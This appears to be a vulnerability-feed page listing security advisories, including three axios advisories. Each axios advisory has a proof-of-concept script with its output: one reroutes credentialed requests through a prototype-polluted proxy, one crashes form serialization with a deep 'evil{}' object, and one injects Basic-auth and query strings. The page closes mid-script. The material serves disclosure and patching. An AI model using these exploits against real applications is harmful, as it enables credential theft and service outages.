| Risiko / Label |
Veröffentlichung |
| Risiko 9.8 / 10 CVE-2025-1889 |
gerade eben |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. |
| Risiko 9.8 / 10 CVE-2024-8309 |
gerade eben |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. |
| Risiko 7.5 / 10 GHSA-gcfj-64vw-6mp9 |
vor 1 Stunde(n) |
## Summary
Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.
Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.
## Impact
In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.
The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.
This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.
## Affected Functionality
Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.
The relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:
```js
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
```
Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.
## Technical Details
`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.
`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.
`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.
`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.
## Proof of Concept of Attack
```js
import axios from './index.js';
import http from 'node:http';
for (const key of [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
]) {
delete process.env[key];
}
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
targetHits.push(req.url);
res.end('target');
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
authorization: req.headers.authorization,
host: req.headers.host,
body
});
res.setHeader('content-type', 'application/json');
res.end('{"server":"proxy"}');
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = `http://127.0.0.1:${target.address().port}/api/secret`;
const res = await api.post(
url,
{secret: 'request-body-secret'},
{headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
);
console.log({
response: res.data,
targetHits,
proxyHits,
finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
});
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
```
Expected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.
## Workarounds
Set an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.
Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.
Use the Node fetch adapter for affected requests where its behavior is compatible with the application.
Original Report
## Summary
Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable
interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy
is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.
## Impact
In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a
request interceptor that returns a plain object copy of the config.
Verified local impact:
- Authenticated request redirection to attacker-controlled proxy.
- Disclosure of explicit Authorization headers.
- Disclosure of axios-generated Basic auth headers from config.auth.
- Disclosure of request metadata: method, absolute URL, Host header.
- Disclosure of POST body content.
This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.
## Affected component
The affected component is the Node.js HTTP adapter request path after request interceptors have run.
The issue requires:
- Node.js HTTP adapter usage.
- A polluted Object.prototype.proxy.
- A request interceptor that returns a plain object copy of the config.
- No own proxy: false or safe own proxy property on the request config.
## Affected versions
Confirmed affected for this specific hardening-bypass variant:
- axios@1.15.2
- axios@1.16.0
axios@1.16.0 was the latest published version observed via npm view axios version during validation.
Related older behavior observed during testing:
- 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.
## Root cause
1. Initial hardening
Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
2. Interceptor re-materialization
Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-
prototype config back into a normal object with Object.prototype as its prototype.
Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
3. No post-interceptor re-hardening
Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
4. Prototype-chain read of proxy in the Node adapter
The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can
redirect the outgoing authenticated request through an attacker-controlled proxy.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
## Why this is a security issue and not intended behavior
Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The
existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.
This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an
immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.
## Realistic threat model
A realistic exploit chain is:
1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
4. The application sends an HTTP request with credentials or sensitive body data.
5. Axios routes that request through the inherited proxy configuration.
This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.
## Proof of concept
Save as poc.mjs in the axios repository root:
```js
import axios from './index.js';
import http from 'node:http';
const proxyEnvKeys = [
'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
'http_proxy', 'https_proxy', 'all_proxy',
'NO_PROXY', 'no_proxy'
];
for (const key of proxyEnvKeys) delete process.env[key];
const listen = (handler) => new Promise((resolve, reject) => {
const server = http.createServer(handler);
server.once('error', reject);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const close = (server) => new Promise((resolve) => server.close(resolve));
const targetHits = [];
const proxyHits = [];
const target = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
targetHits.push({
url: req.url,
method: req.method,
authorization: req.headers.authorization || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'target'}));
});
});
const proxy = await listen((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk);
req.on('end', () => {
proxyHits.push({
url: req.url,
method: req.method,
authorization: req.headers.authorization || null,
host: req.headers.host || null,
body
});
res.writeHead(200, {'Content-Type': 'application/json'});
res.end(JSON.stringify({server: 'proxy'}));
});
});
Object.prototype.proxy = {
protocol: 'http',
host: '127.0.0.1',
port: proxy.address().port
};
const api = axios.create();
api.interceptors.request.use((config) => ({
...config,
headers: {
...config.headers,
'X-App': 'demo'
}
}));
try {
const url = `http://127.0.0.1:${target.address().port}/api/secret`;
const explicit = await api.get(url, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
proxyHits.length = 0;
targetHits.length = 0;
const basic = await api.get(url, {
auth: {username: 'svc-account', password: 'prod-secret'}
});
proxyHits.length = 0;
targetHits.length = 0;
const post = await api.post(url, {secret: 'request-body-secret'}, {
headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
});
console.log(JSON.stringify({
explicitResponse: explicit.data,
basicResponse: basic.data,
postResponse: post.data,
targetHits,
proxyHits,
finalConfigPrototype:
Object.getPrototypeOf(post.config) === Object.prototype
? 'Object.prototype'
: 'other',
finalConfigHasOwnProxy:
Object.prototype.hasOwnProperty.call(post.config, 'proxy')
}, null, 2));
} finally {
delete Object.prototype.proxy;
await close(target);
await close(proxy);
}
```
Run:
```bash
npm ci
node poc.mjs
```
## Observed results
Representative observed output from local loopback testing:
```text
{
"explicitResponse": {"server": "proxy"},
"basicResponse": {"server": "proxy"},
"postResponse": {"server": "proxy"},
"targetHits": [],
"proxyHits": [
{
"url": "http://127.0.0.1:40613/api/secret",
"method": "POST",
"authorization": "Bearer EXPLICIT_SECRET",
"host": "127.0.0.1:40613",
"body": "{\"secret\":\"request-body-secret\"}"
}
],
"finalConfigPrototype": "Object.prototype",
"finalConfigHasOwnProxy": false
}
Additional validation showed axios-generated Basic auth is also disclosed to the proxy:
{
"authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ="
}
```
That value decodes to:
svc-account:prod-secret
Negative controls were also tested:
- No interceptor: target receives request, proxy receives none.
- Interceptor mutating and returning the same config object: proxy receives none.
- Own proxy: false: proxy receives none.
- Null-prototype clone interceptor: proxy receives none.
- Fetch adapter in Node with the same interceptor: proxy receives none.
## Suggested remediation
Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths.
A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should
also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain.
## Minimal regression test
Add an end-to-end Node HTTP adapter test that:
1. Starts a target server and attacker proxy on 127.0.0.1.
2. Sets Object.prototype.proxy to the attacker proxy.
3. Adds a request interceptor returning {...config, headers: {...config.headers}}.
4. Sends a request with an Authorization header.
5. Asserts the target server receives the request.
6. Asserts the attacker proxy receives no request.
7. Asserts the final config no longer exposes inherited proxy.
A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy.
## References / permalinks
- mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
- Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199
- Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
- dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
- Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820
- Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144
- Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135
|
| Risiko 5 / 10 GHSA-hcpx-6fm6-wx23 |
vor 1 Stunde(n) |
## Summary
Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.
An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.
## Impact
The impact is availability only. No confidentiality or integrity impact was confirmed.
Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.
The attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.
## Affected Functionality
Affected paths include:
- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.
- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.
- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.
- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.
Unaffected paths include:
- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.
- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.
- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.
## Technical Details
In `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:
```js
if (value && !path && typeof value === 'object') {
if (utils.endsWith(key, '{}')) {
key = metaTokens ? key : key.slice(0, -2);
value = JSON.stringify(value);
}
}
```
The depth guard is in `build()`:
```js
if (depth > maxDepth) {
throw new AxiosError(
'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
);
}
```
For `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.
## Proof of Concept of Attack
Safe local PoC with no network I/O:
```js
import toFormData from './lib/helpers/toFormData.js';
function buildDeep(depth) {
const head = {};
let cur = head;
for (let i = 0; i < depth; i += 1) {
cur.x = {};
cur = cur.x;
}
return head;
}
try {
toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
console.log(err.name, err.code || '', err.message);
}
// Expected affected result:
// RangeError Maximum call stack size exceeded
```
Expected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.
## Workarounds
Reject or depth-limit untrusted objects before passing them to axios serialization.
Strip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.
For query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.
For form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.
Original Report
## Summary
The `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `'{}'`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.
## Details
Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:
- `axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } })` -> `defaults.transformRequest` -> `toURLEncodedForm(data)` -> `toFormData`
- `axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } })` -> same path via `toFormData`
- `axios.get(url, { params })` -> `buildURL` -> `new AxiosURLSearchParams(params)` -> `toFormData`
Vulnerable code, `lib/helpers/toFormData.js`:
```javascript
// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...
```
`build()` later does enforce `maxDepth`:
```javascript
// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );
```
The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.
The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.
The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:
```javascript
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes
```
The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.
The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:
```diff
if (utils.endsWith(key, '{}')) {
// eslint-disable-next-line no-param-reassign
key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
// eslint-disable-next-line no-param-reassign
value = JSON.stringify(value);
}
```
(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)
## PoC
Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:
```javascript
import axios from './source/index.js';
function buildDeep(depth) {
let head = {};
let cur = head;
for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
return head;
}
const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});
// 1. POST x-www-form-urlencoded
try {
await axios.post('http://example.test/x',
{ 'evil{}': malicious },
{ headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
console.log('POST form-encoded:', e.name, '-', e.message);
}
// 2. GET with params
try {
await axios.get('http://example.test/x',
{ params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
console.log('GET params:', e.name, '-', e.message);
}
```
3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:
```
$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded
```
`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.
Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.
## Impact
A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.
|
| Risiko 5 / 10 GHSA-7q8q-rj6j-mhjq |
vor 1 Stunde(n) |
## Summary
Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted `Object.prototype`.
The top-level merged config is protected with a null prototype, but nested plain objects such as `auth` and `paramsSerializer` are cloned into ordinary objects. If application code passes placeholders such as `auth: {}` or `paramsSerializer: {}`, inherited `username`, `password`, `encode`, or `serialize` properties can influence outbound requests.
## Impact
This is reachable only when another component has already polluted `Object.prototype` and the application passes an affected nested axios option object.
Confirmed impacts include silent injection of an `Authorization: Basic ...` header from inherited `username` and `password` values, and query-string tampering when inherited `paramsSerializer` fields are function-valued.
The `auth` case requires only string-valued pollution. Full query-string replacement through `paramsSerializer.serialize` requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through `encode`.
This does not mean every axios request is affected. Requests that do not pass `auth`, do not pass `paramsSerializer`, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.
## Affected Functionality
Affected runtime functionality:
- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.
- Browser/fetch/XHR Basic auth handling through `lib/helpers/resolveConfig.js`.
- Query serialization through `lib/helpers/buildURL.js`.
- `axios.getUri()` when called with an affected `paramsSerializer` object.
Affected config shapes:
- `auth: {}` or an `auth` object missing own `username` and/or `password`.
- `paramsSerializer: {}` or a `paramsSerializer` object missing own `encode` and/or `serialize`.
Unaffected by this specific issue:
- Requests with no `auth` property.
- Requests with no `paramsSerializer` property.
- Top-level polluted `auth` or `paramsSerializer` values in current hardened versions.
## Technical Details
`lib/core/mergeConfig.js` creates the top-level merged config with `Object.create(null)`, but nested object cloning still uses ordinary `{}` containers:
```js
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
}
```
Downstream code then reads nested fields without own-property checks.
In `lib/helpers/resolveConfig.js`:
```js
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
```
In `lib/adapters/http.js`:
```js
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
```
In `lib/helpers/buildURL.js`:
```js
const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
```
## Proof of Concept of Attack
```js
import http from 'node:http';
import axios from './index.js';
const user = 'attacker';
const pass = 'exfil';
Object.defineProperty(Object.prototype, 'username', {
value: user,
configurable: true
});
Object.defineProperty(Object.prototype, 'password', {
value: pass,
configurable: true
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true
});
const server = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
url: req.url
}));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
try {
const port = server.address().port;
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored' }
});
console.log(response.data);
} finally {
await new Promise((resolve) => server.close(resolve));
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
```
Observed result:
```json
{
"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
"url": "/demo?polluted=1"
}
```
## Workarounds
If upgrading is not yet possible, avoid passing placeholder nested option objects.
Remove `auth` entirely when Basic auth is not intended. For `paramsSerializer` objects, provide explicit own `encode` and `serialize` properties or remove `paramsSerializer` when custom serialization is not required.
These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
Original Report
### Summary
axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer: {}, axios reads inner fields (username, password, encode, serialize) through the prototype chain. If Object.prototype has been polluted by another component in the same Node.js process, those inherited values are silently injected into the outbound request, including the Authorization header and the serialized query string.
### Details
mergeConfig (lib/core/mergeConfig.js) was hardened to use a null-prototype container for the top-level config, but its nested-clone helper still produces ordinary {} containers:
mergeConfig.js Lines 36-45
```
function getMergedValue(target, source, prop, caseless) {
if (utils.isPlainObject(target) && utils.isPlainObject(source)) {
return utils.merge.call({ caseless }, target, source);
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
} else if (utils.isArray(source)) {
return source.slice();
}
return source;
}
```
The cloned nested objects therefore inherit from Object.prototype. Downstream consumers read sensitive fields via plain dotted access, with no own-property guard:
Browser / fetch Basic auth — lib/helpers/resolveConfig.js:
resolveConfig.js Lines 64-70
```
if (auth) {
headers.set(
'Authorization',
'Basic ' +
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
);
}
```
Node HTTP adapter Basic auth — lib/adapters/http.js:
http.js Lines 829-836
```
// HTTP basic authentication
let auth = undefined;
const configAuth = own('auth');
if (configAuth) {
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
}
```
paramsSerializer reads — lib/helpers/buildURL.js:
buildURL.js Lines 31-54
```
export default function buildURL(url, params, options) {
if (!params) {
return url;
}
const _encode = (options && options.encode) || encode;
const _options = utils.isFunction(options)
? {
serialize: options,
}
: options;
const serializeFn = _options && _options.serialize;
let serializedParams;
if (serializeFn) {
serializedParams = serializeFn(params, _options);
} else {
serializedParams = utils.isURLSearchParams(params)
? params.toString()
: new AxiosURLSearchParams(params, _options).toString(_encode);
}
```
Because auth.username, auth.password, options.encode, and options.serialize are accessed without hasOwnProperty checks, a polluted Object.prototype.username / Object.prototype.password / Object.prototype.serialize flows directly into the outgoing request.
The auth sink is the primary impact (silent Basic-auth injection); paramsSerializer.serialize is a secondary but powerful sink because it can fully replace the query string.
### PoC
```
import http from 'node:http';
import axios from '../../index.js';
const ATTACKER_USER = 'attacker';
const ATTACKER_PASS = 'exfil';
const ATTACKER_BASIC = Buffer.from(`${ATTACKER_USER}:${ATTACKER_PASS}`).toString('base64');
// Step 1: simulate a pre-existing prototype-pollution primitive in this process.
// In reality, a separate dependency would have done this. We keep the
// "polluted" properties non-enumerable so they only affect inherited reads,
// which is the realistic shape of most prototype-pollution gadgets.
Object.defineProperty(Object.prototype, 'username', {
value: ATTACKER_USER,
configurable: true,
});
Object.defineProperty(Object.prototype, 'password', {
value: ATTACKER_PASS,
configurable: true,
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true,
});
// Local capture server.
const server = http.createServer((req, res) => {
const captured = {
authorization: req.headers['authorization'] || null,
url: req.url,
};
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify(captured));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
try {
// Application code: passes nested *placeholder* option objects that have
// no own auth/serializer properties. Without prototype pollution this is
// a no-op. With prototype pollution it becomes attacker-controlled state.
const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
auth: {},
paramsSerializer: {},
